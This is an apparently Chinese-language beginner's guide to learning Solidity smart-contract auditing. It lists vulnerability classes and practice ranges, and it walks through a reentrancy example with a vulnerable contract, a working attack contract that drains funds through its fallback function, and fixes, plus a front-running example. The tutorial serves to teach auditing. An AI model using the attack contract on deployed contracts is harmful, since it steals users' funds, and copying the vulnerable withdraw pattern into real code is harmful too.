sodility合约审计入门学习思路 零基础一
- 简介
- 准备工作
- 学习步骤
-
- 1、熟悉sodility语言
- 2、编写合约、掌握sodility
- 3、常见合约漏洞
- 4、合约靶场
- 5、其他相关知识链接
简介
Solidity 是一门面向合约的、为实现智能合约而创建的高级编程语言。这门语言受到了 C++,Python 和 Javascript 语言的影响,设计的目的是能在 以太坊虚拟机(EVM) 上运行。
发现越来多的人关注btc、eth相关的区块链知识,可能大家都幻想过找到一个合约漏洞,发一笔横财哈哈。
网上的学习资料杂而乱,再这里给大家提供一个sodility合约审计的学习思路,让大家少走弯路。
学习一个新技能,肯定要花不少时间,希望大家坚持下去,肯定会有收获。
准备工作
下面的链接部分需要科学上网,这里就不教大家了,自己去准备。
1、谷歌浏览器,自行下载安装
2、链接:remix
此网站用于合约的编译、部署、测试(常用,做笔记,收藏下来),不想用网页的也可以在本地搭建。
链接:remix使用
此网站介绍怎么样使用remix,新版本可能界面做了变化,对应是去找到功能位置就行。
3、metamask(谷歌浏览器插件,eth钱包)
链接:MetaMask的安装与使用
图片:
后面使用remix审计合约会用到,自行下载(需要科学上网)。
学习步骤
1、熟悉solidity语言语法。
2、自己编写合约,熟练掌握solidity(其实很简单,多练习几次就可以)。
3、学习常见智能合约漏洞,了解熟悉漏洞发生的位置和漏洞发生条件。
4、最后进行合约漏洞靶场练习,利用前面学习的合约漏洞解题。(可以参照攻略,最后在不使用攻略,自己可以完全做出来为毕业)
5、实战从eth链上找到合约进行自己的审计,很多新上链的合约还是存在漏洞。
1、熟悉sodility语言
这相当于新学习一门编程语言,他跟py、c++等语言有很多类似的地方,如果你有编程基础这将极其的简单。
没编程基础的同学也不要担心,毕竟我学习的时候也是没有任何基础的,大概你需要一个星期来熟悉solidity
学习基础网站
链接: sodility最新中文文档
网站介绍语言的基础语法和各函数的创建和使用,这是合约的基础必须要仔细读懂,因为这部分比较枯燥,所以建议大家和第2步骤一起学习,就是一边看中文文档,一边写合约,这样交替会比较容易学的。(我就是这样学的,嘿嘿)
2、编写合约、掌握sodility
编写练习solidity,这是必须要自己动手去敲键盘才能熟悉,没什么捷径。
链接: solidity编写学习
此网站是用来模拟编写合约,有详细教程,零基础,适合初学者,你可以先完成此教程,然后在到remix上编写自己的合约,进行调试部署。
3、常见合约漏洞
本节主要讲解常见的合约漏洞类型。
- 1、竞争条件引发
- 1.1 重入漏洞
- 1.2 交易顺序依赖攻击
- 2、整型溢出
- 2.1 乘法溢出
- 2.2 减法溢出
- 2.3 加法溢出
- 2.4 其他可能溢出的情况
- 2.5 漏洞修复
- 3、拒绝服务攻击(dos)
- 3.1 通过(Unexpected) Revert发动DoS
- 3.2 通过区块Gas Limit发动DoS
- 3.3 所有者操作
- 4、区块参数依赖(dos)
- 4.1 时间戳依赖
- 4.2 区块哈希依赖
- 4.3 漏洞修复
- 5、ecrecover 未作0地址判断
- 5.1 重放攻击
- 6、底层函数误用
- 6.1 call注入攻击
- 6.2 delegatecall误用
- 7、tx.origin使用错误
- 8、re-approve漏洞
- 9、强行将以太币置入合约
- 10、短地址/参数攻击
- 11、使用未初始化的存储器局部变量
- 12、合约继承中的变量覆盖问题
- 13、浮点和精度
- 14、外部合约调用
- 15、发送和接收以太币存在的安全风险
- 16、读取合约的状态变量
- 17、开发人员失误导致的安全风险
-17.1逻辑判断错误
-17.2合约权限不符
-17.3构造函数失配
-17.4假充值:transfer/transferFrom执行失败未抛出异常
-17.5合约实现与设计不符
1.1重入漏洞:
以太坊智能合约的特点之一是能够调用和利用其他外部合约的代码,调用外部合约主要存在的危险就是外部合约可以接管控制流,并对调用函数不期望的数据进行更改。这类漏洞有多种形式,包括重入和交易顺序依赖等。
合约通常也处理 Ether,因此通常会将 Ether
发送给各种外部用户地址。调用外部合约或将以太网发送到地址的操作需要合约提交外部调用。这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码(即通过回退函数),包括回调自身。因此代码执行"重新进入"合约。这种攻击被用于臭名昭著的DAO 攻击。
下面展示 案列
.
pragma solidity ^0.4.22;
contract Reentrancy {
mapping(address => uint256) public balances;
event WithdrawFunds(address _to,uint256 _value);
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function showbalance() public view returns (uint256 ){
return address(this).balance;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
emit WithdrawFunds(msg.sender,_weiToWithdraw);
}
}
该合约有两个函数:depositFunds()和withdrawFunds(),depositFunds()的功能是增加msg.sender的余额,withdrawFunds()的功能是取出msg.sender指定的数值为_weiToWithdraw的Ether
现在,一个攻击者创建了下列 合约
.
pragma solidity ^0.4.22;
//设置原合约接口,方便回调
interface Reentrancy {
function depositFunds() external payable;
function withdrawFunds (uint256 _weiToWithdraw) external;
}
//漏洞证明合约
contract POC {
address owner;
Reentrancy reInstance;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner==msg.sender);
_;
}
//指向原合约地址
function setInstance(address addr) public onlyOwner {
reInstance = Reentrancy(addr);
}
//先存入一笔以太币
function depositEther() public payable {
require(msg.value >= 1 ether);
reInstance.depositFunds.value(msg.value)();
}
//取出盗取的以太币
function getEther() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
//调用withdrawFunds,发起攻击
function withdrawFunds() public onlyOwner {
reInstance.withdrawFunds(1 ether);
}
//回退函数,进行重入攻击
function() external payable {
if(address(reInstance).balance >= 1 ether) {
reInstance.withdrawFunds(1 ether);
}
}
}
PS:注意此处由于重入攻击造成了balances[msg.sender]溢出,强烈推荐所有数学运算都使用SafeMath进行。
分析该合约是如何进行重入攻击的:
1、假设普通用户向原合约(Reentrancy.sol)存入15 ether;
2、攻击者部署攻击合约(POC.sol),并调用setInstance()指向原合约部署地址;
3、攻击者调用攻击合约的depositEther()函数,预先向原合约预存1
ether,此时, 在原合约中,攻击合约的地址有1 ether余额;
4、攻击者调用攻击合约的withdrawFunds()函数,该函数再调用原合约的withdrawFunds()函数,并传参1
ether;
5、进入原合约,withdrawFunds()函数的第一行require(balances[msg.sender] >= _weiToWithdraw);,攻击合约地址下余额为1
ether,等于_weiToWithdraw,条件满足,进入下一行;
6、withdrawFunds()函数的第二行require(msg.sender.call.value(_weiToWithdraw)());,向msg.sender转入_weiToWithdraw(此时是1
ether),由于msg.sender是合约地址,solidity规定向合约地址接收到ether时如果未指定其他有效函数,那么默认会调用合约的fallback函数,执行流进入攻击合约,并调用攻击合约的fallback函数,并且,因为是通过call.value()()方式发送以太币,该方法会发送所有剩余gas;
7、进入攻击合约的fallback函数,if判断原合约余额,此时为16
ether,条件满足,再次"重入"原合约的withdrawFunds()函数;
8、再次进入原合约的withdrawFunds()函数,因为balances[msg.sender] -= _weiToWithdraw;并未执行,所以此时攻击合约地址仍有1
ether,第一个require条件满足,执行到第二个require;
9、此后步骤6-8将一直重复,直到原合约余额少于1 ether或者gas耗尽;
10、最后进入原合约,执行balances[msg.sender] -= _weiToWithdraw;,注意,此处会从balances[msg.sender]中减去所有提取的ether,导致balances[msg.sender]溢出,如果此处使用SafeMath,可以通过抛出异常的方式避免重入攻击;
最终的结果是攻击者只使用了1 ether,就从原合约中取出了所有的ether。
**漏洞修复**
:
在可能的情况下,将ether发送给外部地址时使用solidity内置的transfer()函数,transfer()转账时只发送2300
gas,不足以调用另一份合约(即重入发送合约),使用transfer()重写原合约的withdrawFunds()如下;
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
msg.sender.transfer(_weiToWithdraw);
balances[msg.sender] -= _weiToWithdraw;
emit WithdrawFunds(msg.sender,_weiToWithdraw);
}
2、确保状态变量改变发生在ether被发送(或者任何外部调用)之前,即Solidity官方推荐的检查-生效-交互模式(checks-effects-interactions);
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);//检查
balances[msg.sender] -= _weiToWithdraw;//生效
require(msg.sender.call.value(_weiToWithdraw)());//交互
emit WithdrawFunds(msg.sender,_weiToWithdraw);
}
3、使用互斥锁:添加一个在代码执行过程中锁定合约的状态变量,防止重入调用
bool reEntrancyMutex = false;
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
reEntrancyMutex = true;
require(balances[msg.sender] >= _weiToWithdraw);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
reEntrancyMutex = false;
emit WithdrawFunds(msg.sender,_weiToWithdraw);
}
1.2交易顺序依赖攻击
与大多数区块链一样,以太坊节点汇集交易并将其形成块。一旦矿工解决了共识机制(目前Ethereum的 ETHASH
PoW),这些交易就被认为是有效的。解决该区块的矿工也会选择来自该矿池的哪些交易将包含在该区块中,这通常是由gasPrice交易决定的。在这里有一个潜在的攻击媒介。攻击者可以观察事务池中是否存在可能包含问题解决方案的事务,修改或撤销攻击者的权限或更改合约中的对攻击者不利的状态。然后,攻击者可以从这个事务中获取数据,并创建一个更高级别的事务gasPrice 并在原始之前将其交易包含在一个区块中
下面展示 案列
.
contract FindThisHash {
bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;
constructor() public payable { } // load with ether
function solve(string solution) public {
// If you can find the pre image of the hash, receive 1000 ether
require(hash == sha3(solution));
msg.sender.transfer(1000 ether);
}
}
这个合约包含1000个ether,找到并提交正确答案的用户将得到这笔奖励。当一个用户找出答案Ethereum!。他调用solve函数,并把答案Ethereum!作为参数。不幸的是,攻击者可以观察交易池中任何人提交的答案,他们看到这个解决方案,检查它的有效性,然后提交一个远高于原始交易的gasPrice的新交易。解决该问题的矿工可能会因攻击者的gasPrice更高而先打包攻击者的交易。攻击者将获得1000ether,最初解决问题的用户将不会得到任何奖励(合约中没有剩余ether)。
链接: link.
sodility最新中文文档
漏洞修复
:
有两类用户可以进行这种的提前交易攻击。用户(修改他们的交易的gasPrice)和矿工自己(他们可以按照他们认为合适的方式重新排序交易)。一个易受第一类(用户)攻击的合约比一个易受第二类(矿工)攻击的合约明显更糟糕,因为矿工只能在解决一个区块时执行攻击,这对于任何针对特定区块的单个矿工来说都是不可能的。在这里,我将列出一些与他们可能阻止的攻击类别相关的缓解措施。
可以采用的一种方法是在合约中创建限制条件,即gasPrice上限。这可以防止用户增加gasPrice并获得超出上限的优先事务排序。这种预防措施只能缓解第一类攻击者(任意用户)的攻击。在这种情况下,矿工仍然可以攻击合约,因为无论gasPrice如何,他们都可以根据需要排序交易。
更可靠的方法是尽可能使用提交—披露方案(commit-reveal)。这种方案规定用户使用隐藏信息(通常是散列)发送交易。在交易已包含在块中之后,用户发送一个交易解密已经发送的数据(披露阶段)。此方法可防止矿工和用户进行前瞻性交易,因为他们无法确定交易内容。然而,这种方法无法隐藏交易价值(在某些情况下,这是需要隐藏的有价值信息)。
ENS智能合约允许用户发送交易,其承诺数据包括他们愿意花费的以太数量。然后,用户可以发送任意值的交易。在披露阶段,用户退还了交易中发送的金额与他们愿意花费的金额之间的差额。
4、合约靶场
链接: 捕获以太.
链接: ethernaut.
两个合约靶场都是从简单到困难,建议大家不看攻略自己多琢磨下,再使用攻略。
攻略网址:
https://ledgerops.com/blog/capture-the-ether-part-2-of-3-diving-into-ethereum-math-vulnerabilities/
https://xz.aliyun.com/t/7173
https://xz.aliyun.com/t/7174
5、其他相关知识链接
1、eth相关基础知识
2、深入了解ethevm虚拟机
3、精通比特币
4、eth区块链相关知识
5、eth相关基础知识
6、eth相关基础知识
在学习了合约之后,你需要了解eth是怎么样一个链条,合约函数怎么在链上执行以及evm怎么运作。还可以看看比特币,看完后相信你会对区块链有一个全新的理解
因为篇幅原因,漏洞只讲了部分,在下一章,会把漏洞方面详细讲完。
欢迎大家留言互相学习交流。